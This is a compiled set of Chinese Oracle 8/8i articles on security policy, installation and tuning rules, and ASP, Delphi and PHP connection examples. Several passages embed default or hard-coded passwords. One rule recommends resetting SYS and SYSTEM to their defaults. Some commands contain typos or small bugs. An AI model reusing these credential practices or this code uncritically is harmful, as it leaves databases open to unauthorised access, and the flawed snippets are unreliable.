数据库安全性策略

    数据库安全性问题一直是围绕着数据库管理员的恶梦，数据库数据的丢失以及数据库
被非法用户的侵入使得数据库管理员身心疲惫不堪。本文围绕数据库的安全性问题提出了
一些安全性策略，希望对数据库管理员有所帮助，不再夜夜恶梦。

数据库安全性问题应包括两个部分：

一、数据库数据的安全
    它应能确保当数据库系统DownTime时，当数据库数据存储媒体被破坏时以及当数据
库用户误操作时，数据库数据信息不至于丢失。

二、数据库系统不被非法用户侵入
    它应尽可能地堵住潜在的各种漏洞，防止非法用户利用它们侵入数据库系统。
    对于数据库数据的安全问题，数据库管理员可以参考有关系统双机热备份功能以及
数据库的备份和恢复的资料。
    以下就数据库系统不被非法用户侵入这个问题作进一步的阐述。
组和安全性
    在操作系统下建立用户组也是保证数据库安全性的一种有效方法。Oracle程序为了安
全性目的一般分为两类：一类所有的用户都可执行，另一类只DBA可执行。在Unix环境下组
设置的配置文件是/etc/group，关于这个文件如何配置，请参阅Unix的有关手册，以下是
保证安全性的几种方法：
    (1) 在安装Oracle Server前，创建数据库管理员组(DBA)而且分配root和Oracle软件
        拥有者的用户ID给这个组。DBA能执行的程序只有710权限。在安装过程中SQL*DBA
        系统权限命令被自动分配给DBA组。
    (2) 允许一部分Unix用户有限制地访问Oracle服务器系统，增加一个由授权用户组成
        的Oracle组，确保给Oracle服务器实用例程Oracle组ID，公用的可执行程序，比
        如SQL*Plus，SQL*Forms等，应该可被这组执行，然后该这个实用例程的权限为
        710，它将允许同组的用户执行，而其他用户不能。
    (3) 改那些不会影响数据库安全性的程序的权限为711。
       注：在我们的系统中为了安装和调试的方便，Oracle数据库中的两个具有DBA权限的
         用户Sys和System的缺省密码是manager。为了您数据库系统的安全，我们强烈
          建议您该掉这两个用户的密码，具体操作如下：
         在SQL*DBA下键入：
        alter user sys indentified by password;
        alter user system indentified by password;
        其中password为您为用户设置的密码。

Oracle服务器实用例程的安全性
    以下是保护Oracle服务器不被非法用户使用的几条建议：
    (1) 确保$ORACLE_HOME/bin目录下的所有程序的拥有权归Oracle软件拥有者所有；
    (2) 给所有用户实用便程(sqiplus,sqiforms,exp,imp等)711权限，使服务器上所有的
        用户都可访问Oracle服务器；
    (3) 给所有的DBA实用例程(比如SQL*DBA)700权限。

Oracle服务器和Unix组
    当访问本地的服务器时，您可以通过在操作系统下把Oracle服务器的角色映射到Unix
    的组的方式来使用Unix管理服务器的安全性，这种方法适应于本地访问。
    在Unix中指定Oracle服务器角色的格式如下：
    ora_sid_role[_dla]
    其中
    sid     是您Oracle数据库的oracle_sid；
    role		是Oracle服务器中角色的名字；
    d		(可选)表示这个角色是缺省值；
    a		(可选)表示这个角色带有WITH ADMIN选项，您只可以把这个角色
            授予其他角色，不能是其他用户。
    以下是在/etc/group文件中设置的例子：
        ora_test_osoper_d:NONE:1:jim,narry,scott
        ora_test_osdba_a:NONE:3:pat
        ora_test_role1:NONE:4:bob,jane,tom,mary,jim
        bin:	NONE:5:root,oracle,dba
        root:NONE:7:root
    词组“ora_test_osoper_d”表示组的名字；词组“NONE”表示这个组的密码；数字1
    表示这个组的ID；接下来的是这个组的成员。前两行是Oracle服务器角色的例子，使
    用test作为sid，osoper和osdba作为Oracle服务器角色的名字。osoper是分配给用户
    的缺省角色，osdba带有WITH ADMIN选项。
    为了使这些数据库角色起作用，您必须shutdown您的数据库系统，设置Oracle数据库
    参数文件initORACLE_SID.ora中os_roles参数为True，然后重新启动您的数据库。如
    果您想让这些角色有connect internal权限，运行orapwd为这些角色设置密码。当您
    尝试connect internal时，您键入的密码表示了角色所对应的权限。

SQL*DBA命令的安全性
    如果您没有SQL*PLUS应用程序，您也可以使用SQL*DBA作SQL查权限相关的命令只能分
    配给Oracle软件拥有者和DBA组的用户，因为这些命令被授予了特殊的系统权限。
    (1) startup
    (2) shutdown
    (3) connect internal

数据库文件的安全性
    Oracle软件的拥有者应该这些数据库文件($ORACLE_HOME/dbs/*.dbf)
    设置这些文件的使用权限为0600：文件的拥有者可读可写，同组的和其他组的用户没
    有写的权限。
    Oracle软件的拥有者应该拥有包含数据库文件的目录，为了增加安全性，建议收回同
    组和其他组用户对这些文件的可读权限。

网络安全性
    当处理网络安全性时，以下是额外要考虑的几个问题。
    (1) 在网络上使用密码
    在网上的远端用户可以通过加密或不加密方式键入密码，当您用不加密方式键入密码
    时，您的密码很有可能被非法用户截获，导致破坏了系统的安全性。
    (2) 网络上的DBA权限控制
    您可以通过下列两种方式对网络上的DBA权限进行控制：
        A 设置成拒绝远程DBA访问；
        B 通过orapwd给DBA设置特殊的密码。

建立安全性策略

系统安全性策略
    (1) 管理数据库用户
    数据库用户是访问Oracle数据库信息的途径，因此，应该很好地维护管理数据库用户
    的安全性。按照数据库系统的大小和管理数据库用户所需的工作量，数据库安全性管
    理者可能只是拥有create，alter，或drop数据库用户的一个特殊用户，或者是拥有
    这些权限的一组用户，应注意的是，只有那些值得信任的个人才应该有管理数据库用
    户的权限。
    (2) 用户身份确认
    数据库用户可以通过操作系统，网络服务，或数据库进行身份确认，通过主机操作系
    统进行用户身份认证的优点有：
    A 用户能更快，更方便地联入数据库；
    B 通过操作系统对用户身份确认进行集中控制：如果操作系统与数据库用户信息一致，
    那么Oracle无须存储和管理用户名以及密码；
    C 用户进入数据库和操作系统审计信息一致。
    (3) 操作系统安全性
    A 数据库管理员必须有create和delete文件的操作系统权限；
    B 一般数据库用户不应该有create或delete与数据库相关文件的操作系统权限；
    C 如果操作系统能为数据库用户分配角色，那么安全性管理者必须有修改操作系统帐
      户安全性区域的操作系统权限。

数据的安全性策略
    数据的生考虑应基于数据的重要性。如果数据不是很重要，那么数据的安全性策略可
    以稍稍放松一些。然而，如果数据很重要，那么应该有一谨慎的安全性策略，用它来
    维护对数据对象访问的有效控制。

用户安全性策略
    (1) 一般用户的安全性
        A 密码的安全性
        如果用户是通过数据库进行用户身份的确认，那么建议使用密码加密的方式
    与数据库进行连接。这种方式的设置方法如下：
     在客户端的oracle.ini文件中设置ora_encrypt_login数为true；
     在服务器端的initORACLE_SID.ora文件中设置dbling_encypt_login参数为true。
        B 权限管理
    对于那些用户很多，应用程序和数据对象很丰富的数据库，应充分利用“角色”这个
    机制所带的方便性对权限进行有效管理。对于复杂的系统环境，“角色”能大大地简
    化权限的管理。
    (2) 终端用户的安全性
    您必须针对终端用户制定安全性策略。例如，对于一个有很多用户的大规模数据库，
    安全性管理者可以决定用户组分类，为这些用户组创建用户角色，把所需的权限和应
    用程序角色授予每一个用户角色，以及为用户分配相应的用户角色。当处理特殊的应
    用要求时，安全性管理者也必须明确地把一些特定的权限要求授予给用户。
    您可以使用“角色”对终端用户进行权限管理。

数据库管理者安全性策略
    (1) 保护作为sys和system用户的连接
    当数据库创建好以后，立即更改有管理权限的sys和system用户的密码，防止非法用户
    访问数据库。当作为sys和system用户连入数据库后，用户有强大的权限用各种方式对
    数据库进行改动。改动sys和system用户的密码的方法，可参看前面的相关部分。
    (2) 保护管理者与数据库的连接
    应该只有数据库管理者能用管理权限连入数据库，当以sysdba或startup，shutdown，
    和recover或数据库对象(例如create,drop，和delete等)进行没有任何限制的操作。
    (3) 使用角色对管理者权限进行管理

应用程序开发者的安全性策略
    (1) 应用程序开发者和他们的权限
    数据库应用程序开发者是唯一一类需要特殊权限组完成自己工作的数据库用户。开发
    者需要诸如create table,create procedure等系统权限，然而，为了限制开发者对
    数据库的操作，只应该把一些特定的系统权限授予开发者。
    (2) 应用程序开发者的环境
        A 程序开发者不应与终端用户竞争数据库资源；
        B 用程序开发者不能损害数据库其他应用产品。
    (3) free和controlled应用程序开发
    应用程序开发者有一下两种权限：
         A free development
    应用程序开发者允许创建新的模式对象，包括table,index,procedure,package等，
    它允许应用程序开发者开发独立于其他对象的应用程序。
        B controlled development
    应用程序开发者不允许创建新的模式对象。所有需要table,indes procedure等都
    由数据库管理者创建，它保证了数据库管理者能完全控制数据空间的使用以及访问
    数据库信息的途径。
    但有时应用程序开发者也需这两种权限的混和。
    (4) 应用程序开发者的角色和权限
    数据库安全性管理者能创建角色来管理典型的应用程序开发者的权限要求。
        A create系统权限常常授予给应用程序开发者，以到于他们能创建他们自己
             的数据对象。
        B 数据对象角色几乎不会授予给应用程序开发者使用的角色。
    (5) 加强应用程序开发者的空间限制
    作为数据库安全性管理者，您应该特别地为每个应用程序开发者设置以下的一些限制：
        A 开发者可以创建table或index的表空间；
        B 在每一个表空间中，开发者所拥有的空间份额。应用程序管理者的安全性
    在有许多数据库应用程序的数据库系统中，您可能需要一应用程序管理者，应用程序
    管理者应负责以下的任务：
        C 为每一个应用程序创建角色以及管理每一个应用程序的角色；
        D 创建和管理数据库应用程序使用的数据对象；
        E 需要的话，维护和更新应用程序代码和Oracle的存储过程和程序包。


《Oracle8 优化技术》摘录 (第一章 安装)

 《Oracle8 优化技术》摘录 (第一章 安装) 机械工业出版社 -=-=-=-=-=-=-= 本文只是摘录一些规则和总结，具体的内容请参考机械工业出版社的《Oracle8 优化技术》一 书。 =========== 第一章 安装 =========== 安装规则#1 阅读README文件，其中包含将要安装产品的最新信息。从README文件中还能了解 到有用的和新的实用程序或操作系统说明。 安装规则#2 在运行支持全局的TAR之前，请浏览Oracle8的README文件。 安装规则#3 预先确定足够大的磁盘空间，磁盘空间不足将造成安装失败。 安装规则#4 为了安装成功，需要额外增加的磁盘空间（建议额外增加20%的空间），因为安装 指南中建议的磁盘空间往往不足。 安装规则#5 即使将来不会使用启动数据库，也应让Oracle8安装创建和启动数据库。 安装规则#6 使用服务器管理器（在DOS窗口方式下，使用命令SvrMgr30）关闭，然后启动启动 数据库以确保Oracle8的运行。 安装规则#7 在大多数平台上可快速且容易的安装All Languages。 安装规则#8 如果允许，可用较高的特权来安装Oracle（例如，NT=administrator, UNIX=root, VMS=system）。一旦系统工作，将在平台和操作系统中对安装指示中所列出的特权进行设置。 安装规则#9 Oracle应该拥有自己的目录结构。 安装规则#10 当安装第三方软件时，因为许多软件仍假定这些口令设置成缺省值，所以把SYS帐 号的口令复位成CHANGE_ON_INSTALL，把SYSTEM帐号的口令复位成MANAGER。 安装规则#11 只有SYSOPER或SYSDBA身份连接，才能启动或关闭数据库。 安装规则#12 创建安全帐号以便执行特权操作，并且，作为SYS用户不要随意注册。 安装规则#13 在安装期间增加SHARE_POOL_SIZE的值（初始化参数文件项），假如该值太小，那 将使安装失败，把它设置成却省的二倍。 安装规则#14 不要假设安装成功，即便安装显示一切正常，也要检验所有的安装日志，来证实安 装成功。 安装规则#15 为了加快查找，可使用 moregrep(UNIX)或者search/win(VMS)系统查找实用程序。 安装规则#16 设计目录结构与物理设备匹配（即，如果你有五个盘驱，就要创建五个目录指针）。 我们不大主张创建大的逻辑驱动器。 安装规则#17 设置某个完整的设备来保存Oracle数据文件。不要把它分成更小的逻辑设备。 安装规则#18 将大的表空间分成多个小的好管理的部分。 安装规则#19 许多UNIX备份系统很难处理超过1GB字节的数据文件。我们推荐所有的Oracle数据文 件都低于1GB字节（1,073,741,824字节）。 安装规则#20 把一个表空间的物理数据文件分成标准大小，这将在I/O平衡的调整周期内对换数据 文件非常容易。 安装规则#21 一个数据库文件就是一个数据库文件。把它们全都放在某个盘上的一个集中目录中。 安装规则#22 设置 maxdatafiles 参数为一个非常大的数字。许多地方使用缺省值并会用光它，这 个缺省值太小了。 安装规则#23 重演日志是数据库失败的唯一线索：如果丢失了重演日志，可能会失去整个数据库， 必须用一个原来的备份去恢复。为了保护自己的数据库，要对重演日志做镜像。 安装规则#24 当数据库创建时，把maxloghistory的值设置在100和200之间。 安装规则#25 设置maxlogmembers的值等于放置重演日志组的设备的数目。 安装规则#26 在缺省初始化参数文件中，small是用户的数目，而不是数据库的大小。 安装规则#27 在安装Oracle Report时，应选择central方式。local方式对DBA来说是破坏性的。 安装规则#28 每个数据库应至少有三个控制文件。把控制文件放在不同的磁盘上。 小结和说明 .......... . 利用CD-ROM安装，它提供了最灵活的安装环境，并不需要用磁带安装时那么多的磁盘空间。 . 数据库至少应由 SYSTEM、ROLLBACK、TEMP、TOOLS和USERS五个表空间组成。


《Oracle8 优化技术》摘录 (第二章 内存/CPU)

 《Oracle8 优化技术》摘录 (第二章 内存/CPU) =============== 第二章 内存/CPU =============== 内存/CPU规则#1 为了更好地防范介质故障，一般应在 ARCHIVELOG 模式下运行 Oracle8 数据 库。这使用户能在数据库打开和运行时完成数据库的一致性备份。 内存/CPU规则#2 DBAs 要定期查看跟踪文件，尤其是警报日志，并做些清除操作，只有当有人 用手工方式编辑跟踪文件并且删除该文件内容时，警报跟踪文件才暂停增大。 内存/CPU规则#3 检查实例警报日志文件中是否存在有关在线重演日志组的错误信息。确定数据 库是否有足够的重演日志文件是最容易的方法，假如 Oracle 因为没有清除完而不能重用重 演日志，那么可能需要更多的重演日志。 内存/CPU规则#4 在 Oracle 首次安装时，需要设置好共享池的大小，以确保共享池中有足够大 的空间以便使 Oracle 能在共享池中很好地调整高速缓存。 内存/CPU规则#5 在多处理器的计算机上，初始化参数文件项 LOG_SIMULTANEOUS_COPIES 应被 设置为 CPU 数的两倍，这将有助于减少潜在的 redo copy latch 争用。 内存/CPU规则#6 当使用 MTS 时，为了 SHARED_POOL_SIZE，每个用户存在一个 1K 的额外需求， 该额外空间用于存放关于用户进程、调度程序和服务器之间连接的信息。 内存/CPU规则#7 评估在繁忙期间用户对 CPU 提出的需求。 内存/CPU规则#8 评估用户在非繁忙时间（晚上和周末）对 CPU 的需求。 内存/CPU规则#9 评估支持用户进程与系统服务对 CPU 时间的需求之间的平衡。 小结和说明 .......... . 定期检查实例警告文件，以便了解 Oracle 产生的任何错误。 . 监视库高速缓存的成功率，如果这个成功率很低的话（少于80%），则应当考虑调整初始化参数 文件中的 SHARED_POOL_SIZE 参数。 . 通过查看 V$LATCH 字典视图，监视重演日志缓高速缓存中失败(misses)对成功(gets)的比例， 如果misses多于gets的1%，则结果将导致重演（redo latches）的冲突（拷贝latch和/或配置 latch，这取决于所使用系统的CPU数量）。 . 如果有超过25%的排序请求需要磁盘空间（利用V$SYSSTAT），则应考虑增加初始化参数文件参 数SORT_AREA_SIZE。 . 如果可能的话，最好保持数据库一天24小时开机，每次数据库重新启动时，库高速缓存和字典 高速缓存必须被装入，在装入这些高速缓存当中，miss率将巨增。如果数据库没有一直打开， 定义一些 SQL 语句在数据库启动后强制装载这些高速缓存。 下面前四点指出了初始化参数文件的五个关键项，按建议调整这些项，有助于 CPU 的调整运行。 . 分配尽可能多的实存给共享池和数据库缓冲区（初始化参数文件中的SHARED_POOL_SIZE项和 DB_BLOCK_BUFFERS项）以便允许在内存中运作尽可能多的工作，与在磁盘工作相比，在内存 中工作使用的CPU较少。 . 将初始化参数文件项 SEQUENCE_CACHE_ENTRIES 设为高值（缺省值为10，可设为1,000）。 . 分配大于缺省值的内存以便执行排序操作（初始化参数文件中的 SORT_AREA_SIZE项），不请求 I/O的内存排序使用较少的CPU。 . 在多CPU的机器上，增大初始化参数文件项LOG_SIMULTANEOUS_COPIES的值，以便允许每个CPU的 进程把项拷贝到重演日志缓冲区中。 . 为了释放占用的CPU，尽一切可能使I/O最小化。 . 通过合理分配工作日白天和夜间的负载来使得CPU工作能力最大化。 . 在考虑 CPU 升级前，开始着手对 CPU 进行有条理的估计。 . 在空闲时间执行报告工作。


《Oracle8 优化技术》摘录 (第三章 输入/输出)

 《Oracle8 优化技术》摘录 (第三章 输入/输出) ================ 第三章 输入/输出 ================ I/O规则#1 索引组织表不能在分布式处理中使用，（分布式处理是指远程数据库连结访问某个数据 库，而不是访问在其中进行连接的数据库），以及不能使用Oracle8高级复制功能来复制。 I/O规则#2 创建一个或多个表空间来存放索引组织表和它们的溢出数据。 I/O规则#3 为表和索引建立不同的表空间，禁止在系统表空间中放入非核心Oracle系统成分的对象。 I/O规则#4 确保数据表空间和索引表空间位于不同的磁盘驱动器上。 I/O规则#5 了解终端用户怎样访问数据。 I/O规则#6 如果可能，将经常同时查询和频繁查询的对象放在各自的磁盘上。 I/O规则#7 当数据库包含允许用户并行访问不同数据元素的大对象时，将对象分割存放在多个磁盘 上是有好处的。 I/O规则#8 通过定期报告和固定更新后已链接的行，使行链接最小化。 I/O规则#9 在独立的各个盘上至少创建两个用户定义回滚表空间，以存放用户自己的回滚段。 I/O规则#10 在初始化参数文件中安排回滚段的次序使它们在多个磁盘之间进行切换。 I/O规则#11 在对象分片后，应监视区域和插入的分配。 I/O规则#12 有不止一个区域的对象是重组的候选对象；多于5个区域的对象应尽快重建。 I/O规则#13 至少创建一个表空间，供临时段单独使用。 I/O规则#14 以类型 TEMPORARY 创建临时表空间以改进磁盘排序的性能。 I/O规则#15 将重演日志文件放在一个读写较少的盘上。 I/O规则#16 对每个Oracle实例要建立两个以上的重演日志组，可能的话，把每个组中的成员放置在不 同的设备上。建议对重演日志组中的成员使用描述性的名称。 I/O规则#17 把Oracle系统标识符、组号和每个重演日志组的成员号嵌入成员文件名中。 I/O规则#18 在认为某个问题是平衡问题并进行草率的更名之前，应了解清楚应用程序和用户团体的活 动特性。 I/O规则#19 在利用Oracle8进行审计时，应查看SYS审计表中大小和记录数，并且建立一个把信息移到 概要表中后每天清除日常内容的机制。 I/O规则#20 在DBA_TABLES视图中的EMPTY_BLOCKS列是自该表创建以来从不包含任何数据的块的数目。 行已删除且已成为空的那些块不包含在此列值中。 I/O规则#21 用 alter index ... rebuild 命令重建索引时，在索引正在重写的过程中，与索引有关的 数据不能修改。在重建工作期间，如数据段被访问，将产生 Timeout Oracle 错误。 I/O规则#22 通过改变 pctfree 的值来分区一个对象时，要保证在用户开始访问前把它设置为合适的值。 I/O规则#23 利用 pctfree 的某个值，使记录创建后，数据块不能再接受一行，因此不出现在自由表中。


Oracle技术网—ASP 中通过OLEDB访问 Oracle 的代码

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
ASP 中通过OLEDB访问 Oracle 的代码

  • 系统环境：
      1、操作系统：Windows 2000
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、安装路径：C:\ORACLE
  • 访问方法：

1、连入SQL*Plus
以system/manager用户登录，
SQL> conn system/manager

创建新的用户：如user1/pass1，赋予connect,resource权限。
SQL> grant connect,resource to user1 identified by pass1;

SQL> conn user1/pass1
SQL> create table test(a date);

Oracle数据库的实例名，本例：oradb
Oracle用户名，本例：user1
Oracle主机字符串：oradb

tnsnames.ora文件中

ORADB =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 192.1.1.1)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = oradb)
    )
  )

2、在IIS默认WWW目录下创建test.asp，用notebook编辑，输入以下代码

<%
set conn=server.createobject("adodb.connection")
dns="Provider=OraOLEDB.Oracle.1;Persist Security Info=True;User ID=user1;Password=pass1;Data Source=oradb"
conn.Open dns

SQL="insert into test(a) values(sysdate)"
set rs=conn.execute(SQL)

set rs=nothing
conn.close
set conn=nothing
%>

<%
set conn=server.createobject("adodb.connection")
dns="Provider=OraOLEDB.Oracle.1;Persist Security Info=True;User ID=user1;Password=pass1;Data Source=oradb"
conn.Open dns

SQL="select to_char(a,'hh24:mi:ss') from test"
set rs=conn.execute(SQL)

do while (not rs.eof)
%>
<table border=1>
<tr><td><%=rs.fields(0).value%></font> </td>
</tr>
<%
rs.movenext
loop

rs.close
set rs=nothing
conn.close
set conn=nothing
%>

3、打开一个浏览器窗口，输入以下地址来查看运行结果，可以通过不断的按F5键来刷新显示结果
http://localhost/test.asp
  • 总结：
      利用以上代码，可以省去创建ODBC的麻烦，并提高效率。


Oracle技术网—Delphi5 企业版使用BDE访问 Oracle方法

位置：首页→Oracle系统设置、优化、连接→

【点击：】 阿木伯 著
Delphi5 企业版使用BDE访问 Oracle方法

  • 系统环境：
      1、操作系统：Windows 2000 Server
      2、数据库：　Oracle 8i R2 (8.1.6) for NT 企业版
      3、开发工具：Delphi 5 企业版
  • 连接方法：

一、安装 Oracle 8i R2 (8.1.6) for NT 企业版
        使用典型安装，安装目录为D:\Oracle；

二、安装 Delphi 5 企业版
        把Delphi 5光盘放入光驱，使用典型安装，
        安装目录为C:\Program Files\Borland\Delphi5；

三、生成Oracle实验记录
        连入SQL*Plus，以system/manager用户登录
        SQL> conn system/manager

        创建新的用户：如user1/pass1，赋予connect,resource权限。
        SQL> grant connect,resource to user1 identified by pass1;

        SQL> conn user1/pass1
        SQL> create table test(a number,b char(19));
        SQL> insert into test values(1,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(2,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(3,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(4,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> insert into test values(5,to_char(sysdate,'yyyy-mm-dd hh24:mi:ss'));
        SQL> commit;

        SQL> select * from test;

                 A B
        ---------- -------------------
                 1 2000-11-28 20:27:33
                 2 2000-11-28 20:27:36
                 3 2000-11-28 20:27:38
                 4 2000-11-28 20:27:40
                 5 2000-11-28 20:27:52

        D:\Oracle\Ora81\network\ADMIN\tnsnames.ora中有如下内容：

        test =
          (DESCRIPTION =
            (ADDRESS_LIST =
              (ADDRESS = (PROTOCOL = TCP)(HOST = 192.1.1.1)(PORT = 1521))
            )
            (CONNECT_DATA =
              (SERVICE_NAME = oradb)
            )
          )

        总结：
        Oracle service_names：　oradb
        Oracle用户名：　　　　　user1
        户名密码：　　　　　　　pass1
        测试表名：　　　　　　　test
        tnsnames：　　　　　　　test

四、配置BDE
        开始－＞程序－＞Borland Delphi 5－＞BDE Administrator
        1、配置Drivers，修改以下几个地方，如下图：

        DLL32：　　　　　　SQLORA8.DLL
        VENDOR INIT：　　　OCI.DLL
        LANGDRIVER：　　　 Oracle SQL WE850
        SQLPASSTHRU MODE： SHARED NOAUTOCOMMIT

        修改完，按鼠标右键，apply（CTRL+A），提交修改

        2、配置Database Aliases（数据库访问别名），新建一个别名，起名为oracle，如下图：

        3、修改以下几个地方，如下图：

        SERVER NAME：　　　test

        修改完，按鼠标右键，apply（CTRL+A），提交修改，退出BDE Administrator

        重新打开BDE Administrator，用鼠标左键双击别名oracle，进行连接测试

        输入用户名、密码，按“OK”连接，不能把user1/pass1直接写在User Name上，要分开写

        如果出现下图，则说明连接成功

五、启动 Delphi 5 企业版，写连接 Oracle 的 Delphi 程序
        开始－＞程序－＞Borland Delphi 5－＞Delphi 5

        File－＞New...－＞Application，如下图：

        Delphi 开发窗口上方的工具箱面板：

        打开Data Access控件组，用鼠标双击控件Table，再双击DataSource控件（上图中画红框的两个），
        把它们放到窗体Form1上，默认名称为Table1和DataSource1：

        打开Data Controls控件组，用鼠标双击DBGrid控件（上图中画红框的），
        把它放到窗体Form1上，默认名称为DBGrid1，如下图：

        修改控件Table1、DataSource1、DBGrid1的属性，如下图：

        Table1的Active属性：True
        Table1的DatabaseName属性：oracle（即是选BDE名）
        Table1的TableName属性：TEST（这里需要连接oracle）

        DataSource1的DataSet属性：Table1

        DBGrid的DataSource属性：DataSource1

        按F9，运行此程序，弹出登录画面，如下图：

        输入用户名、密码，按“OK”，运行结果如下图：


Oracle技术网—oracle database access object

oracle database access object

摘自：不详

Calling example:
<?
$conn = OCILogon("www_cec", "webchn99", "unicorn");
#or you can just inclued file like "include("modcec_OCI_conn.php3");"

$newOda= new ODA($conn);
#################
#or you can use login method like this
#$newOda-=new ODA();
#$newOda->Logon("www","99","corn");
###############################################
$newOda->CmdString=" update test set nouse='dfs' where login_name='guoyafeng'";
if(!$newOda->Execute()) {
echo $newOda->err;
}
else
{
echo $newOda->Rows; #get the affected row number.
}
#or you can call execute like this####
/*
$newOda->Execute(" update test set nouse='dfs' where login_name='guoyafeng'");
*/
#############################

#the following demostrate the open method.
$newOda->Open("select * from test")) or die $newOda->err;

#Get data from RS
echo "count is" .$newOda->Rows;
for($i=0;$i<$newOda->Rows;$i++)
for($j=0;$j<$newOda->Cols;$j++)
{
echo $newOda->RS[$i][$j];

}

$newOda->Logoff();
?>
<?
/********************************************************************************#
# File Name:ODA.php3 #
# Author:Guo Yafeng #
# Function: Oracle DB Access. #
# Maint History: #
# Sept 18,2000 first release. #
# #
# #
#********************************************************************************/

/********************************************************************************#
#Object interface description: #
# Properties: #
# conn Connection Object #
# err_no Error No #
# err Error Description #
# CmdString SQL Statements to execute. #
# Rows Affected Rows. #
# RS Return value array.
# Cols #
# #
# Method: #
# Open Execute the CmdString and return value #
# Execute Execute the CmdString. #
#********************************************************************************/

file://$conn = OCILogon("www_ce", "ceonline99", "wsgp");
// $conn = OCILogon("www_cec", "webchn99", "unicorn");
// if ($SERVER_NAME == "")
// $SERVER_NAME = $HTTP_HOST;

class ODA
{

function ODA($cn="") {

if($cn!="")
$this->conn=$cn;
return TRUE;

}

function Logon($user,$pass,$db) {

if(!($this->conn = OCILogon($user, $pass, $db))){

$this->err_no=106;
$this->err="Error 106: Failed to logon.";
return FALSE;
};

return TRUE;

}
function Open($sql="") file://$this->CmdString
{
if($this->conn=="") {
$this->err_no=100;
$this->err="Error 100,Connection Object Required.";
return FALSE;
}

if($sql=="" and $this->CmdString=="") {
$this->err_no=101;
$this->err="Error 101,SQL Statement Required.";
return FALSE;
}
if($sql=="")
$sql=$this->CmdString;
if(!($cursor=OCIParse($this->conn,$sql))) {
$this->err_no=102;
$this->err="Server Internal Error: Failed to parse SQL Statement.";
return FALSE;
}

if(!OCIExecute($cursor)) {
$this->err_no=103;
$this->err="Server Internal Error: Failed to execute SQL Statement.";
return FALSE;
}
$this->Rows=0;
while(OCIFetchInto($cursor,$this->RS[$this->Rows])){

$this->Rows++;

}
$this->Cols=OCINumCols($cursor);

if($this->Rows==0) {

$this->err_no=104;
$this->err="Warning: No rows affectted.RS result is not available.";
}

OCIFreeStatement($cursor);

return TRUE;
}

function Execute($sql="") {
if($this->conn=="") {
$this->err_no=100;
$this->err="Error 100,Connection Object Required.";
return FALSE;
}

if($sql=="" and $this->CmdString=="") {
$this->err_no=101;
$this->err="Error 101,SQL Statement Required.";
return FALSE;
}
if($sql=="")
$sql=$this->CmdString;

if(!($cursor=OCIParse($this->conn,$sql))) {
$this->err_no=102;
$this->err="Server Internal Error: Failed to parse SQL Statement.";
return FALSE;
}

if(!OCIExecute($cursor)) {
$this->err_no=103;
$this->err="Server Internal Error: Failed to execute SQL Statement.";
return FALSE;
}
$this->Rows=OCIRowCount($cursor);
OCIFreeStatement($cursor);

return TRUE;
}
function LogOff(){

if(!OCILogoff($conn)){

$this->err_no=105;
$this->err="Server Internal Error: Failed to logoff database.";
return FALSE;
}
return TRUE;

}
}
?>


Oracle技术网—Oracle基于Client/Server的性能调整

Oracle基于Client/Server的性能调整

摘要：通过探讨和研究Oracle服务器和Client/Server的特点和原理，阐述了提高、调整Oracle应用系统性能的一些原则和方法。
关键词：Oracle；客户/服务器；系统全程区；网络I/O；回滚段

Oracle Performance Tunign Based on Client/Server

Zhang Dong Wang Hong Yao Yaowen
(1.Dep.of Computer Sciences and Engineering.South China University of Technology,Guangzhou 510641;2.Dept.of Informatics,Guangzhou School of Finauce,Guangzhou 510521)

【Abstract】In this paper discuses and studies the characteristic of Oracle service and theory about Oracle service based on Client/Server.It also gives the way to improve and ture the performance of Oracle based on Client/Server
【Key words】Oracle;Cclient/Server;SGA;Network I/O;Rollback Segment

    Oracle 数据库广泛应用在社会的各个领域，特别是在Client/Server模式的应用，但是应用开发者往往碰到整个系统的性能随着数据量的增大显著下降的问题，为了解决这个问题，从以下几个方面：数据库服务器、网络I/O、应用程序等对整个系统加以调整，充分发挥Oracle的效能，提高整个系统的性能。

1 调整数据库服务器的性能
    Oracle数据库服务器是整个系统的核心，它的性能高低直接影响整个系统的性能，为了调整Oracle数据库服务器的性能，主要从以下几个方面考虑：
1.1 调整操作系统以适合Oracle数据库服务器运行
    Oracle数据库服务器很大程度上依赖于运行服务器的操作系统，如果操作系统不能提供最好性能，那么无论如何调整，Oracle数据库服务器也无法发挥其应有的性能。
1.1.1 为Oracle数据库服务器规划系统资源
    据已有计算机可用资源, 规划分配给Oracle服务器资源原则是：尽可能使Oracle服务器使用资源最大化,特别在Client/Server中尽量让服务器上所有资源都来运行Oracle服务。
1.1.2 调整计算机系统中的内存配置
    多数操作系统都用虚存来模拟计算机上更大的内存，它实际上是硬盘上的一定的磁盘空间。当实际的内存空间不能满足应用软件的要求时，操作系统就将用这部分的磁盘空间对内存中的信息进行页面替换，这将引起大量的磁盘I/O操作，使整个服务器的性能下降。为了避免过多地使用虚存，应加大计算机的内存。
1.1.3 为Oracle数据库服务器设置操作系统进程优先级
    不要在操作系统中调整Oracle进程的优先级，因为在Oracle数据库系统中，所有的后台和前台数据库服务器进程执行的是同等重要的工作，需要同等的优先级。所以在安装时，让所有的数据库服务器进程都使用缺省的优先级运行。
1.2 调整内存分配
    Oracle数据库服务器保留3个基本的内存高速缓存，分别对应3种不同类型的数据：库高速缓存，字典高速缓存和缓冲区高速缓存。库高速缓存和字典高速缓存一起构成共享池，共享池再加上缓冲区高速缓存便构成了系统全程区(SGA)。SGA是对数据库数据进行快速访问的一个系统全程区，若SGA本身需要频繁地进行释放、分配，则不能达到快速访问数据的目的，因此应把SGA放在主存中，不要放在虚拟内存中。内存的调整主要是指调整组成SGA的内存结构的大小来提高系统性能，由于Oracle数据库服务器的内存结构需求与应用密切相关，所以内存结构的调整应在磁盘I/O调整之前进行。
1.2.1 库缓冲区的调整
